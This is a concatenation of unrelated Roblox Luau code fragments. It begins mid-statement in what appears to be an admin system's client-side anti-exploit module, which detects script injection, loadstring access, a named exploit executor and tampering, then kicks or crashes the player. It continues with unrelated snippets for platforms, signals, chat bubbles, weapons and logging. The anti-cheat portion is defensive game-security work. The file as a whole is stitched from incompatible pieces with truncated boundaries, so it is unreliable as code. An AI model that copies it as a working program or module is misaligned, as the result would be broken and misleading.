Enum.BinType.GameTool)) then Detected("log","Building tools detected; "..tostring(t.BinType)) end end end checkServ() service.DataModel.ChildAdded:connect(checkServ) --service.Player.DescendantAdded:connect(checkTool) service.Players.PlayerAdded:connect(function(p) gotGoodTime = tick() end) service.Events.CharacterRemoving:connect(function() for i,v in next,coreNums do if coreClears[i] then coreNums[i] = 0 end end --[[ gettingGood = true wait() gettingGood = false--]] end) service.GuiService.MenuClosed:connect(function() menuOpen = false end) service.GuiService.MenuOpened:connect(function() menuOpen = true end) service.ScriptContext.ChildAdded:connect(function(child) if Anti.GetClassName(child) == "LocalScript" then Detected("kick","Localscript Detected; "..tostring(child)) end end) service.ReplicatedFirst.ChildAdded:connect(function(child) if Anti.GetClassName(child) == "LocalScript" then Detected("kick","Localscript Detected; "..tostring(child)) end end) service.LogService.MessageOut:connect(function(Message, Type) if check(Message) then Detected('crash','Exploit detected; '..Message) end end) service.Selection.SelectionChanged:connect(function() Detected('kick','Selection changed') end) service.ScriptContext.Error:Connect(function(Message, Trace, Script) if Script and tostring(Script)=='tpircsnaisyle'then Detected("kick","Elysian") elseif (not Script or ((not Trace or Trace == ""))) then local tab = service.LogService:GetLogHistory() local continue = false if Script then for i,v in next,tab do if v.message == Message and tab[i+1] and tab[i+1].message == Trace then continue = true end end else continue = true end if continue then if string.find(tostring(Trace),"CoreGui") or string.find(tostring(Trace),"PlayerScripts") or string.find(tostring(Trace),"Animation_Scripts") or string.match(tostring(Trace),"^(%S*)%.(%S*)") then return else Detected("log","Traceless/Scriptless error") end end end end) service.NetworkClient.ChildRemoved:connect(function(child) wait(30) client.Kill("Client disconnected from server") end) service.RunService.Stepped:connect(function() lastUpdate = tick() end) --[[game.DescendantAdded:connect(function(c) if chkObj(c) and type(c)=="userdata" and not doingCrash then doingCrash = true --print("OK WE DETECTED THINGS") Detected("crash","New CoreGui Object; "..tostring(c)) end end)--]] if service.Player:WaitForChild("Backpack", 120) then service.Player.Backpack.ChildAdded:connect(checkTool) end --// Detection Loop service.StartLoop("Detection",10,function() --// Prevent event stopping if tick()-lastUpdate > 60 then Detected("crash","Events stopped") end --// Check player parent if service.Player.Parent ~= service.Players then Detected("crash","Parent not players") end --// Stuff local ran,err = pcall(function() service.ScriptContext.Name = "ScriptContext" end) if not ran then Detected("log","ScriptContext error?") end --// Check Log History for i,v in next,service.LogService:GetLogHistory() do if check(v.message) then Detected('crash','Exploit detected') end end --// Check Loadstring local ran,err = pcall(function() local func,err = loadstring("print('LOADSTRING TEST')") end) if ran then Detected('crash','Exploit detected; Loadstring usable') end --// Check Context Level local ran,err = pcall(function() local test = Instance.new("StringValue") test.RobloxLocked = true end) if ran then Detected('crash','RobloxLocked usable') end end) end; AntiDeleteTool = function(data) local name = math.random(1000,999999).."b" local part = client.Deps.AntiDelete:Clone() --service.New("Part") part.Name = name part.CanCollide = false part.Anchored = true part.Size = Vector3.new(3,3,3)--Vector3.new(1000,1000,0.1) part.CFrame = workspace.CurrentCamera.CoordinateFrame part.Parent = workspace.CurrentCamera part.Transparency = 1 local cam local event local function doEvent() cam = workspace.CurrentCamera cam.Changed:connect(function(p) if cam.Parent~=service.Workspace then doEvent() end end) cam.ChildRemoved:connect(function(c) if (c==part or not part or not part.Parent or part.Parent~=workspace.CurrentCamera) then part = client.Deps.AntiDelete:Clone() --service.New("Part") part.Name = name part.CanCollide = false part.Anchored = true part.Size = Vector3.new(3,3,3)--Vector3.new(1000,1000,0.1) part.CFrame = workspace.CurrentCamera.CoordinateFrame part.Parent = workspace.CurrentCamera part.Transparency = 1 Detected("log","Attempting to Delete") end end) end doEvent() service.StartLoop("AntiDeleteTool","RenderStepped",function() local part = service.Workspace.CurrentCamera:FindFirstChild(name) if part then part.CFrame = service.Workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(0,1.5,0)--*CFrame.new(0,0,-0.8) end end) end; AntiGod = function(data) local humanoid = service.Player.Character:WaitForChild('Humanoid') local bob = true service.Player.Character.Humanoid.Died:connect(function() bob=false end) local moos moos = service.Player.Character.Humanoid.Changed:connect(function(c) if not bob or humanoid == nil then moos:disconnect() return end if tostring(service.Player.Character.Humanoid.Health)=="-1.#IND" then Detected('kill','Infinite Health [Godded]') end end) service.Player.Character.Humanoid.Health=service.Player.Character.Humanoid.Health-1 end; }, false, true) local Launch = function(mode,data) if Anti.Detectors[mode] and service.NetworkClient then Anti.Detectors[mode](data) end end; Anti = service.ReadOnly({ LastChanges = { Lighting = {}; }; Init = Init; Launch = Launch; Detected = Detected; Detectors = Detectors; GetClassName = function(obj) local testName = tostring(math.random()..math.random()) local ran,err = pcall(function() local test = obj[testName] end) if err then local class = string.match(err,testName.." is not a valid member of (.*)") if class then return class end end end; RLocked = function(obj) return not pcall(function() return obj.GetFullName(obj) end) --[[local ran,err = pcall(function() service.New("StringValue", obj):Destroy() end) if ran then return false else return true end--]] end; ObjRLocked = function(obj) return not pcall(function() return obj.GetFullName(obj) end) --[[local ran,err = pcall(function() obj.Parent = obj.Parent end) if ran then return false else return true end--]] end; CoreRLocked = function(obj) local testName = tostring(math.random()..math.random()) local ye,err = pcall(function() game:GetService("GuiService"):AddSelectionParent(testName, obj) game:GetService("GuiService"):RemoveSelectionGroup(testName) end) if err and string.find(err, testName) and string.find(err, "GuiService:") then return true else wait(0.5) for i,v in next,service.LogService:GetLogHistory() do if string.find(v.message,testName) and string.find(v.message,"GuiService:") then return true end end end end; }, false, true) client.Anti = Anti do local meta = service.MetaFunc local track = meta(service.TrackTask) local loop = meta(service.StartLoop) local opcall = meta(pcall) local oWait = meta(wait) local resume = meta(coroutine.resume) local create = meta(coroutine.create) local tick = meta(tick) local loopAlive = tick() local otostring = meta(tostring) track("Thread: TableCheck", meta(function() while oWait(1) do loopAlive = tick() local ran, core, remote, functions, anti, send, get, detected, disconnect, kill = coroutine.resume(coroutine.create(function() return client.Core, client.Remote, client.Functions, client.Anti, client.Remote.Send, client.Remote.Get, client.Anti.Detected, client.Disconnect, client.Kill end)) if not ran or core ~= Core or remote ~= Remote or functions ~= Functions or anti ~= Anti or send ~= Send or get ~= Get or detected ~= Detected or disconnect ~= Disconnect or kill ~= Kill then opcall(Detected, "crash", "Tamper Protection 10042") oWait(1) opcall(Disconnect, "Adonis_10042") opcall(Kill, "Adonis_10042") opcall(Kick, Player, "Adonis_10042") --pcall(function() while true do end end) end end end)) --[[ loop("Thread: CheckLoop", "Stepped", meta(function() local ran,ret = resume(create(function() return tick()-loopAlive end)) if not ran or not ret or ret > 5 then opcall(Detected, "crash", "Tamper Protection 10043") oWait(1) opcall(Disconnect, "Adonis_10043") opcall(Kill, "Adonis_10043") opcall(Kick, Player, "Adonis_10043") end end), true)--]] end end
-- I want a more efficient method of sorting the destinations.
if hideDestinationBlocks == true then for index, value in pairs(sortedList) do local destinationBlock = mainFolder:FindFirstChild(sortedList[index]) -- The sorted list only contains names. destinationBlock:ClearAllChildren() destinationBlock.Transparency = 1 end end alignPosition.MaxVelocity = topSpeed platform.Anchored = false while true do -- The moving platform can now endlessly go through the sorted list in order for index, value in pairs(sortedList) do local destinationBlock = mainFolder:FindFirstChild(sortedList[index]) alignPosition.Position = destinationBlock.Position wait(moveDelay) end end
-- Implement Signal:Once() in terms of a connection which disconnects -- itself before running the handler.
function Signal:Once(fn) local cn; cn = self:Connect(function(...) if cn._connected then cn:Disconnect() end fn(...) end) return cn end Signal.Destroy = Signal.DisconnectAll
--///////////////////////// Constructors --//////////////////////////////////////
function module.new() local obj = setmetatable({}, methods) obj.ObjectPool = moduleObjectPool.new(OBJECT_POOL_SIZE) obj.MessageCreators = GetMessageCreators() obj.DefaultCreatorType = messageCreatorUtil.DEFAULT_MESSAGE_CREATOR messageCreatorUtil:RegisterObjectPool(obj.ObjectPool) return obj end function module:RegisterGuiRoot(root) messageCreatorUtil:RegisterGuiRoot(root) end function module:GetStringTextBounds(text, font, textSize, sizeBounds) return messageCreatorUtil:GetStringTextBounds(text, font, textSize, sizeBounds) end return module
---------------------------------------------------------------------- --------------------[ RESET CAMERA ]---------------------------------- ----------------------------------------------------------------------
Gun.ChildRemoved:connect(function(Child) if Child == Handle and Plyr.Value then local ignoreCode = Gun:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value local resetCam = script:WaitForChild("resetCam") resetCam:WaitForChild("ignoreCode").Value = ignoreCode resetCam.Parent = Plyr.Value.PlayerGui end end)
--- Emulates tabstops with spaces
function Util.EmulateTabstops(text, tabWidth) local column = 0 local textLength = #text local result = table.create(textLength) for i = 1, textLength do local char = string.sub(text, i, i) if char == "\t" then local spaces = tabWidth - column % tabWidth table.insert(result, string.rep(" ", spaces)) column += spaces else table.insert(result, char) if char == "\n" then column = 0 -- Reset column counter on newlines elseif char ~= "\r" then column += 1 end end end return table.concat(result) end function Util.Mutex() local queue = {} local locked = false return function () if locked then table.insert(queue, coroutine.running()) coroutine.yield() else locked = true end return function() if #queue > 0 then coroutine.resume(table.remove(queue, 1)) else locked = false end end end end return Util
-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 2 plr.PlayerGui:WaitForChild("Skill_list"):FindFirstChild(script.Name).FrameZ.Visible = true Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 plr.PlayerGui:WaitForChild("Skill_list"):FindFirstChild(script.Name).FrameZ.LocalScript.Enable.Value = true local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) local camera = game.Workspace.CurrentCamera local CameraShaker = require(game.ReplicatedStorage.CameraShaker) local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame) camera.CFrame = camera.CFrame * shakeCFrame end) camshake:Start() camshake:Shake(CameraShaker.Presets.Explosion) wait(0) debouce = false wait(1) Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false wait(.5) Tool.Active.Value = "None" wait(5) Debounce = 1 end end)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Shuriken -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- init chat bubble tables
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect) this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect) this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect) this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect) end initChatBubbleType(BubbleColor.WHITE, "ui/dialog_white", "ui/chatBubble_white_notify_bkg", false, Rect.new(5,5,15,15)) initChatBubbleType(BubbleColor.BLUE, "ui/dialog_blue", "ui/chatBubble_blue_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.RED, "ui/dialog_red", "ui/chatBubble_red_notify_bkg", true, Rect.new(7,7,33,33)) initChatBubbleType(BubbleColor.GREEN, "ui/dialog_green", "ui/chatBubble_green_notify_bkg", true, Rect.new(7,7,33,33)) function this:SanitizeChatLine(msg) if getMessageLength(msg) > MaxChatMessageLengthExclusive then local byteOffset = utf8.offset(msg, MaxChatMessageLengthExclusive + getMessageLength(ELIPSES) + 1) - 1 return string.sub(msg, 1, byteOffset) else return msg end end local function createBillboardInstance(adornee) local billboardGui = Instance.new("BillboardGui") billboardGui.Adornee = adornee billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, 1.5, 2) billboardGui.Parent = BubbleChatScreenGui local billboardFrame = Instance.new("Frame") billboardFrame.Name = "BillboardFrame" billboardFrame.Size = UDim2.new(1,0,1,0) billboardFrame.Position = UDim2.new(0,0,-0.5,0) billboardFrame.BackgroundTransparency = 1 billboardFrame.Parent = billboardGui local billboardChildRemovedCon = nil billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function() if #billboardFrame:GetChildren() <= 1 then billboardChildRemovedCon:disconnect() billboardGui:Destroy() end end) this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame return billboardGui end function this:CreateBillboardGuiHelper(instance, onlyCharacter) if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then if not onlyCharacter then if instance:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(instance) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui return end end if instance:IsA("Model") then local head = instance:FindFirstChild("Head") if head and head:IsA("BasePart") then -- Create a new billboardGui object attached to this player local billboardGui = createBillboardInstance(head) this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui end end end end local function distanceToBubbleOrigin(origin) if not origin then return 100000 end return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude end local function isPartOfLocalPlayer(adornee) if adornee and PlayersService.LocalPlayer.Character then return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character) end end function this:SetBillboardLODNear(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT) billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = true end billboardGui.BillboardFrame.SmallTalkBubble.Visible = false end function this:SetBillboardLODDistant(billboardGui) local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee) billboardGui.Size = UDim2.new(4,0,3,0) billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1) billboardGui.Enabled = true local billChildren = billboardGui.BillboardFrame:GetChildren() for i = 1, #billChildren do billChildren[i].Visible = false end billboardGui.BillboardFrame.SmallTalkBubble.Visible = true end function this:SetBillboardLODVeryFar(billboardGui) billboardGui.Enabled = false end function this:SetBillboardGuiLOD(billboardGui, origin) if not origin then return end if origin:IsA("Model") then local head = origin:FindFirstChild("Head") if not head then origin = origin.PrimaryPart else origin = head end end local bubbleDistance = distanceToBubbleOrigin(origin) if bubbleDistance < NEAR_BUBBLE_DISTANCE then this:SetBillboardLODNear(billboardGui) elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then this:SetBillboardLODDistant(billboardGui) else this:SetBillboardLODVeryFar(billboardGui) end end function this:CameraCFrameChanged() for index, value in pairs(this.CharacterSortedMsg:GetData()) do local playerBillboardGui = value["BillboardGui"] if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end end end function this:CreateBubbleText(message, shouldAutoLocalize) local bubbleText = Instance.new("TextLabel") bubbleText.Name = "BubbleText" bubbleText.BackgroundTransparency = 1 bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0) bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0) bubbleText.Font = CHAT_BUBBLE_FONT bubbleText.ClipsDescendants = true bubbleText.TextWrapped = true bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE bubbleText.Text = message bubbleText.Visible = false bubbleText.AutoLocalize = shouldAutoLocalize return bubbleText end function this:CreateSmallTalkBubble(chatBubbleType) local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone() smallTalkBubble.Name = "SmallTalkBubble" smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5) smallTalkBubble.Position = UDim2.new(0,0,0.5,0) smallTalkBubble.Visible = false local text = this:CreateBubbleText("...") text.TextScaled = true text.TextWrapped = false text.Visible = true text.Parent = smallTalkBubble return smallTalkBubble end function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos) local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo local bubbleQueueSize = bubbleQueue:Size() local bubbleQueueData = bubbleQueue:GetData() if #bubbleQueueData <= 1 then return end for index = (#bubbleQueueData - 1), 1, -1 do local value = bubbleQueueData[index] local bubble = value.RenderBubble if not bubble then return end local bubblePos = bubbleQueueSize - index + 1 if bubblePos > 1 then local tail = bubble:FindFirstChild("ChatBubbleTail") if tail then tail:Destroy() end local bubbleText = bubble:FindFirstChild("BubbleText") if bubbleText then bubbleText.TextTransparency = 0.5 end end local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset, 1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT ) bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true) currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT end end function this:DestroyBubble(bubbleQueue, bubbleToDestroy) if not bubbleQueue then return end if bubbleQueue:Empty() then return end local bubble = bubbleQueue:Front().RenderBubble if not bubble then bubbleQueue:PopFront() return end spawn(function() while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do wait() end bubble = bubbleQueue:Front().RenderBubble local timeBetween = 0 local bubbleText = bubble:FindFirstChild("BubbleText") local bubbleTail = bubble:FindFirstChild("ChatBubbleTail") while bubble and bubble.ImageTransparency < 1 do timeBetween = wait() if bubble then local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end end end if bubble then bubble:Destroy() bubbleQueue:PopFront() end end) end function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize) if not instance then return end if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then this:CreateBillboardGuiHelper(instance, onlyCharacter) end local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"] if billboardGui then local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone() chatBubbleRender.Visible = false local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize) bubbleText.Parent = chatBubbleRender chatBubbleRender.Parent = billboardGui.BillboardFrame line.RenderBubble = chatBubbleRender local currentTextBounds = TextService:GetTextSize( bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT, Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT)) local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1) local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT) -- prep chat bubble for tween chatBubbleRender.Size = UDim2.new(0,0,0,0) chatBubbleRender.Position = UDim2.new(0.5,0,1,0) local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY), UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY), Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true, function() bubbleText.Visible = true end) -- todo: remove when over max bubbles this:SetBillboardGuiLOD(billboardGui, line.Origin) this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY) delay(line.BubbleDieDelay, function() this:DestroyBubble(fifo, chatBubbleRender) end) end end function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer) if not this:BubbleChatEnabled() then return end local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer local safeMessage = this:SanitizeChatLine(message) local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers) if sourcePlayer and line.Origin then local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo fifo:PushBack(line) --Game chat (badges) won't show up here this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false) end end function this:OnGameChatMessage(origin, message, color) local localPlayer = PlayersService.LocalPlayer local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin) local bubbleColor = BubbleColor.WHITE if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end local safeMessage = this:SanitizeChatLine(message) local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor) this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line) if UserShouldLocalizeGameChatBubble then this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true) else this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false) end end function this:BubbleChatEnabled() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then local chatSettings = require(chatSettings) if chatSettings.BubbleChatEnabled ~= nil then return chatSettings.BubbleChatEnabled end end end return PlayersService.BubbleChat end function this:ShowOwnFilteredMessage() local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) return chatSettings.ShowUserOwnFilteredMessage end end return false end function findPlayer(playerName) for i,v in pairs(PlayersService:GetPlayers()) do if v.Name == playerName then return v end end end ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end) local cameraChangedCon = nil if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end game.Workspace.Changed:connect(function(prop) if prop == "CurrentCamera" then if cameraChangedCon then cameraChangedCon:disconnect() end if game.Workspace.CurrentCamera then cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end) end end end) local AllowedMessageTypes = nil function getAllowedMessageTypes() if AllowedMessageTypes then return AllowedMessageTypes end local clientChatModules = ChatService:FindFirstChild("ClientChatModules") if clientChatModules then local chatSettings = clientChatModules:FindFirstChild("ChatSettings") if chatSettings then chatSettings = require(chatSettings) if chatSettings.BubbleChatMessageTypes then AllowedMessageTypes = chatSettings.BubbleChatMessageTypes return AllowedMessageTypes end end local chatConstants = clientChatModules:FindFirstChild("ChatConstants") if chatConstants then chatConstants = require(chatConstants) AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper} end return AllowedMessageTypes end return {"Message", "Whisper"} end function checkAllowedMessageType(messageData) local allowedMessageTypes = getAllowedMessageTypes() for i = 1, #allowedMessageTypes do if allowedMessageTypes[i] == messageData.MessageType then return true end end return false end local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents") local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering") local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage") OnNewMessage.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then return end end this:OnPlayerChatMessage(sender, messageData.Message, nil) end) OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName) if not checkAllowedMessageType(messageData) then return end local sender = findPlayer(messageData.FromSpeaker) if not sender then return end if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then return end this:OnPlayerChatMessage(sender, messageData.Message, nil) end)
--------| Variables |--------
local adminsCache = {}
-- Door Position Save --
local PositionSave = DoorSegment.CFrame
--[[ Searches a dictionary for a value and returns the key for it Functions.SearchDictionary( table, <-- |REQ| Dictionary to search through search, <-- |REQ| Search value ) --]]
return function(dictionary, search) --- Scan dictionary for key, value in pairs(dictionary) do if value == search then --- Matching key! return key end end --- No matching value return end
-- 100 == 1 0 == 0 1/0.5
function JamCalculation() local L_170_ if (math.random(1, 100) <= L_24_.JamChance) then L_170_ = true L_71_ = true else L_170_ = false end return L_170_ end function TracerCalculation() local L_171_ if (math.random(1, 100) <= L_24_.TracerChance) then L_171_ = true else L_171_ = false end return L_171_ end function SearchResupply(L_172_arg1) local L_173_ = false local L_174_ = nil if L_172_arg1:FindFirstChild('ResupplyVal') or L_172_arg1.Parent:FindFirstChild('ResupplyVal') then L_173_ = true if L_172_arg1:FindFirstChild('ResupplyVal') then L_174_ = L_172_arg1.ResupplyVal elseif L_172_arg1.Parent:FindFirstChild('ResupplyVal') then L_174_ = L_172_arg1.Parent.ResupplyVal end end return L_173_, L_174_ end function CheckReverb() local L_175_, L_176_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList); if L_175_ then local L_177_ = L_55_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new("ReverbSoundEffect", L_55_:WaitForChild('Fire')) elseif not L_175_ then if L_55_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then L_55_.Fire.ReverbSoundEffect:Destroy() end end end function UpdateAmmo() L_29_.Text = L_95_ L_30_.Text = L_29_.Text L_31_.Text = '| ' .. math.ceil(L_96_ / L_24_.StoredAmmo) L_32_.Text = L_31_.Text if L_87_ == 0 then L_40_.Image = 'rbxassetid://' .. 1868007495 elseif L_87_ == 1 then L_40_.Image = 'rbxassetid://' .. 1868007947 elseif L_87_ == 2 then L_40_.Image = 'rbxassetid://' .. 1868008584 end if L_86_ == 1 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0.7 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_86_ == 2 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0 elseif L_86_ == 3 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_86_ == 4 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0.7 elseif L_86_ == 5 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0.7 L_39_.BackgroundTransparency = 0.7 elseif L_86_ == 6 then L_35_.BackgroundTransparency = 0 L_36_.BackgroundTransparency = 0.7 L_37_.BackgroundTransparency = 0 L_38_.BackgroundTransparency = 0 L_39_.BackgroundTransparency = 0.7 end end
-- We want to be able to override outputFunction in tests, so the shape of this -- module is kind of unconventional. -- -- We fix it this weird shape in init.lua.
local loggerMiddleware = { outputFunction = print, } function loggerMiddleware.middleware(nextDispatch, store) return function(action) local result = nextDispatch(action) loggerMiddleware.outputFunction(("Action dispatched: %s\nState changed to: %s"):format( prettyPrint(action), prettyPrint(store:getState()) )) return result end end return loggerMiddleware